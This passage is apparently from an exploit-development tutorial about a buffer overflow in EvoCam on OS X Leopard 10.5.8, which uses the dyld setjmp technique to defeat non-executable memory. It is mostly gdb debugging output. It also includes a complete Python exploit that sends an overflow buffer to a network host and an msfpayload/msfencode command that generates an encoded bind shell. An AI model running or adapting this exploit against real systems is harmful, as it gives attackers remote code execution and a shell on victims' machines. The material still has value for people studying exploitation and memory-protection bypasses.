(gdb) b *0x8fe1d026

Breakpoint 2 at 0x8fe1d026

(gdb) c

Continuing.

[Switching to process 1386 thread 0x670f]

Breakpoint 2, 0x8fe1d026 in __dyld__setjmp ()

(gdb) x /4i $eip

0x8fe1d026 [__dyld__setjmp+62]: ret

0x8fe1d027 [__dyld__setjmp+63]: nop

0x8fe1d028 [__dyld__longjmp]:   fninit

0x8fe1d02a [__dyld__longjmp+2]: mov    0x4(%esp),%ecx

(gdb) x /20x $esp

0xb01bee00:     0x8fe66468      0x8fe66448      0xe0895890      0x0000c083

0xb01bee10:     0x00000000      0x00000000      0x00000000      0x967e6587

0xb01bee20:     0xa087c708      0x00000000      0x00000000      0x967e6730

0xb01bee30:     0xa087c708      0x0089e400      0x0089f600      0x967bbb7d

0xb01bee40:     0x967bbb7d      0x00003c03      0xb01bee88      0x967bbe51

So we have hit our breakpoint just before the final return in setjmp. As we can see ESP points to 0x8fe66468 which will be where execution continues from when this function returns. Lets single step this instruction and see what we end up with.


(gdb) si

0x8fe66468 in ?? ()

(gdb) x /4i $eip

0x8fe66468:     nop

0x8fe66469:     pop    %eax

0x8fe6646a:     popa

0x8fe6646b:     ret

Good, so EIP is pointing to the address of writable memory which now, thanks to the setjmp call, contains the assembly commands from FRAG0.

Let’s step through these instructions:


(gdb) si

0x8fe66469 in ?? ()

(gdb) si

0x8fe6646a in ?? ()

(gdb) si

warning: Got an error handling event: "Cannot access memory at address 0x4".

(gdb) x /i $eip

0x8fe6646b:     ret

(gdb) info registers

eax            0x0      0

ecx            0xa087c708       -1601714424

edx            0x967e6587       -1770101369

ebx            0x0      0

esp            0xb01bee28       0xb01bee28

ebp            0x0      0x0

esi            0xc083   49283

edi            0xe0895890       -527869808

eip            0x8fe6646b       0x8fe6646b

eflags         0x246    582

cs             0x17     23

ss             0x1f     31

ds             0x1f     31

es             0x1f     31

fs             0x1f     31

gs             0x37     55

(gdb) x /20x $esp

0xb01bee28:     0x00000000      0x967e6730      0xa087c708      0x0089d400

0xb01bee38:     0x0089e600      0x967bbb7d      0x967bbb7d      0x00003c03

0xb01bee48:     0xb01bee88      0x967bbe51      0xa088b100      0x00000000

0xb01bee58:     0x00000000      0x00000000      0x00000000      0x12141968

0xb01bee68:     0x00000000      0x00003d03      0x00000000      0x00000000

(gdb) si

warning: Got an error handling event: "Cannot access memory at address 0x4".

(gdb) si

Program received signal EXC_BAD_ACCESS, Could not access memory.

Reason: KERN_PROTECTION_FAILURE at address: 0x00000000

0x00000000 in ?? ()

So before we issue the return instruction from the FRAG0 code ESP contains the memory address 0x00000000 which gets popped into EIP and halts our execution.

Let’s restart and place a breakpoint at the start of setjmp and examine what our buffer looks like on the stack:


(gdb) b *0x8fe1cf38

Breakpoint 1 at 0x8fe1cf38

(gdb) c

Continuing.

[Switching to process 1445 thread 0x670f]

Breakpoint 1, 0x8fe1cf38 in __dyld_setjmp ()

(gdb) x /32x $esp-20

0xb01bedec:     0x41414141      0x41414141      0x41414141      0xc3615890

0xb01bedfc:     0x8fe1cf38      0x8fe66468      0x8fe66448      0xe0895890

0xb01bee0c:     0x0000c083      0x00000000      0x00000000      0x00000000

0xb01bee1c:     0x967e6587      0xa087c708      0x00000000      0x00000000

0xb01bee2c:     0x967e6730      0xa087c708      0x0089fc00      0x008a0e00

0xb01bee3c:     0x967bbb7d      0x967bbb7d      0x00003c03      0xb01bee88

0xb01bee4c:     0x967bbe51      0xa088b100      0x00000000      0x00000000

0xb01bee5c:     0x00000000      0x00000000      0x12141968      0x00000000

If we compare the values on the stack to our exploit buffer, we see the end of our initial large group of A characters (0x41 in Hex) followed by FRAG0 (0xc3615890), SETJMP (0x8fe1cf38) , WRITEABLE+32 (0x8fe66468) and WRITEABLE (0x8fe66448). Following this in our buffer should be FRAG1 but on closer examination it would appear that this had been truncated in the middle.

It would therefore appear that 0x0C is a bad character in our payload. After a bit of manual experimentation we find that 0x0e is the next allowed character so we replace this in our attack string. The setjmp() function only allows us 12 bytes of code in which to put our assembly instructions so this doesn’t give us enough room to modify EAX to it’s desired value using dec or sub operations.

Let’s check to see what the consequences are of our modification the FRAG1 code snippet.


(gdb) info breakpoints

Num Type           Disp Enb Address    What

1   breakpoint     keep y   0x8fe1d026 [__dyld__setjmp+62]

2   breakpoint     keep y   0x8fe210dc [__dyld_strdup]

(gdb) c

Continuing.

[Switching to process 1520 thread 0x689f]

Breakpoint 1, 0x8fe1d026 in __dyld__setjmp ()

(gdb) set disassembly-flavor intel

(gdb) x /4i $eip

0x8fe1d026 [__dyld__setjmp+62]: ret

0x8fe1d027 [__dyld__setjmp+63]: nop

0x8fe1d028 [__dyld__longjmp]:   fninit

0x8fe1d02a [__dyld__longjmp+2]: mov    ecx,DWORD PTR [esp+0x4]

(gdb) si

0x8fe66468 in ?? ()

(gdb) x /4i $eip

0x8fe66468:     nop

0x8fe66469:     pop    eax

0x8fe6646a:     popa

0x8fe6646b:     ret

So we have hit our breakpoint at the end of setjmp, we single step and meet our FRAG0 code which looks intact in memory so we continue:


(gdb) c

Continuing.

Breakpoint 1, 0x8fe1d026 in __dyld__setjmp ()

(gdb) si

0x8fe66460 in ?? ()

(gdb) x /6i $eip

0x8fe66460:     nop

0x8fe66461:     pop    eax

0x8fe66462:     mov    eax,esp

0x8fe66464:     add    eax,0xe

0x8fe66467:     mov    DWORD PTR [esp+0x8],eax

0x8fe6646b:     ret

Again we step over the return and we can now see that execution is pointing to our modified but intact FRAG1 code.

Let’s try fixing the code and changing the 0x0e back to 0x0c to test if things work correctly:


(gdb) set {int}0x8fe66464 = 0x890cc083

(gdb) x /6i $eip

0x8fe66460:     nop

0x8fe66461:     pop    eax

0x8fe66462:     mov    eax,esp

0x8fe66464:     add    eax,0xc

0x8fe66467:     mov    DWORD PTR [esp+0x8],eax

0x8fe6646b:     ret

(gdb) c

Continuing.

Breakpoint 2, 0x8fe210dc in __dyld_strdup ()

(gdb) c

Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.

0x0012db31 in ?? ()

(gdb) x /i $eip

0x12db31:       int3

So it look’s like we have correctly executed our desired shellcode. Let’s run it again and see what happens without manually fixing the FRAG1 instructions in memory.

So this time we hit our breakpoint the first time setjmp is called, let’s continue on to the second.


Breakpoint 1, 0x8fe1d026 in __dyld__setjmp ()

(gdb) c

Continuing.

We hit the breakpoint for a second time and we can step over the return at the end of setjmp so we are executing the modified FRAG1 code.


Breakpoint 1, 0x8fe1d026 in __dyld__setjmp ()

(gdb) si

0x8fe66460 in ?? ()

(gdb) x /6i $eip

0x8fe66460:     nop

0x8fe66461:     pop    eax

0x8fe66462:     mov    eax,esp

0x8fe66464:     add    eax,0xe

0x8fe66467:     mov    DWORD PTR [esp+0x8],eax

0x8fe6646b:     ret

So before execution the stack is:


(gdb) x /8 $esp

0xb01bee30:     0x8fe66448      0x8fe210dc      0x8fe01041      0x41414141

0xb01bee40:     0xcccccccc      0x00003d00      0xb01bee88      0x967bbe51

And EAX:


(gdb) p /x $eax

$1 = 0x0

We take the next nop instruction followed by pop %eax which takes the top four bytes from the stack and loads them into register EAX:


0x8fe66462 in ?? ()

(gdb) p /x $eax

$3 = 0x8fe66448

Next we move the value of ESP into EAX:


(gdb) p /x $eax

$4 = 0xb01bee34

Now we add 0xE to the value of EAX:


(gdb) p /x $eax

$5 = 0xb01bee42

And finally we store the resulting value of EAX onto the stack at ESP+8


(gdb) x /8 $esp

0xb01bee34:     0x8fe210dc      0x8fe01041      0xb01bee42      0xcccccccc

0xb01bee44:     0x00003d00      0xb01bee88      0x967bbe51      0xa088b100

This address which points to a portion of the stack is used as the argument to strdup() which is used to copy our exploit code into heap memory.

If we examine the what this address is pointing at we see:


(gdb) x /4x 0xb01bee42

0xb01bee42:     0x3d00cccc      0xee880000      0xbe51b01b      0xb100967b

So rather than pointing to the beginning of our payload (0xcccccccc) we are 2 bytes out, this is because we had to modify FRAG1 to remove the bad character. Hopefully we can pad the start of our shell code with a couple of nops to fix things up.


#!/usr/bin/python

import socket

import struct

# Settings for Leopard 10.5.8

WRITEABLE = 0x8fe66448

SETJMP = 0x8fe1cf38    #$ nm /usr/lib/dyld | grep "setjmp" #8fe1cf38 t _setjmp

STRDUP = 0x8fe210dc    #$ nm /usr/lib/dyld | grep "strdup" #8fe210dc t _strdup

JMPEAX = 0x8fe01041    #0x8fe01041 [__dyld__dyld_start+49]:     jmp    *%eax

NOP="x90x90x90x90"

buf="xccxccxccxcc"

FRAG0 = "x90" + "x58" + "x61" + "xc3"

FRAG1 = "x90" + "x58" + "x89xe0" + "x83xc0x0e"  + "x89x44x24x08" + "xc3" # x0c is a bad char

STUB =  

FRAG0 +

struct.pack(']III',SETJMP,WRITEABLE+32,WRITEABLE) +

FRAG1 +

'A'*20 +

struct.pack(']IIIII',SETJMP,WRITEABLE+24,WRITEABLE,STRDUP,JMPEAX) +

'A'*4

BUFFER = "A"*1308 + STUB + NOP + buf

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect=s.connect(('192.168.1.29',8080))

print '[+] Sending evil buffer...'

s.send("GET " +BUFFER + " HTTP/1.0rnrn")

s.close()

We attach gdb and we get:


(gdb) c

Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.

[Switching to process 1607 thread 0x613f]

0x00120cd3 in ?? ()

(gdb) x /i $eip

0x120cd3:       int3

Great we have now hit the breakpoints in our dummy payload. Next job is to replace our breakpoints with something more useful…

Shellcode Generation

We’ll use Metasploit’s msfpayload to generate an OS X bind shell.

Due to the earlier issues with bad characters we will need to encode the shellcode to avoid these, and other known bad characters:


$ msfpayload osx/x86/vforkshell_bind_tcp R | msfencode -e x86/shikata_ga_nai -b 'x00xffx09x0ax0bx0cx0cx0dx20' -t ruby

We can now replace our dummy payload with this shellcode and launch our exploit:

Fire up the Quattro..

OSX Evocam Exploit

Completed Exploit

You can find the completed working exploit on the exploit-database.

Let is Snow

You may have spotted that this exploit is set to run on OS X Leopard 10.5.8, however the latest version of Apple’s OS is Snow Leopard (10.6.x). Unfortunately it appears that the setjmp() function has been removed from /usr/lib/dyld in Snow Leopard which break the technique used above. It may be possible to hijack other function calls in dyld to gain code execution but I expect future exploits will more likely use ROP to bypass non-executable memory segments.

About the author

didn0tPaul Harrington (a.k.a. “d1dn0t”) has been working in IT Security for 10 years, working as an independent contractor for several well known global companies.

When he gets a chance to escape from corporate policies and procedures he enjoys Vulnerability Development and Penetration Testing.

Paul is 0x26 years old and currently lives in the North West of England.  You can reach him via didnot [at] me {dot} com.

Thanks to

Dino Dai Zovi for coming up with the technique in this book and giving me some pointers.  His blog is an excellent read.

Thank also go to the Offensive Security Team for feeding my passion.  Special Thanks to Ryujin for my inane python queries.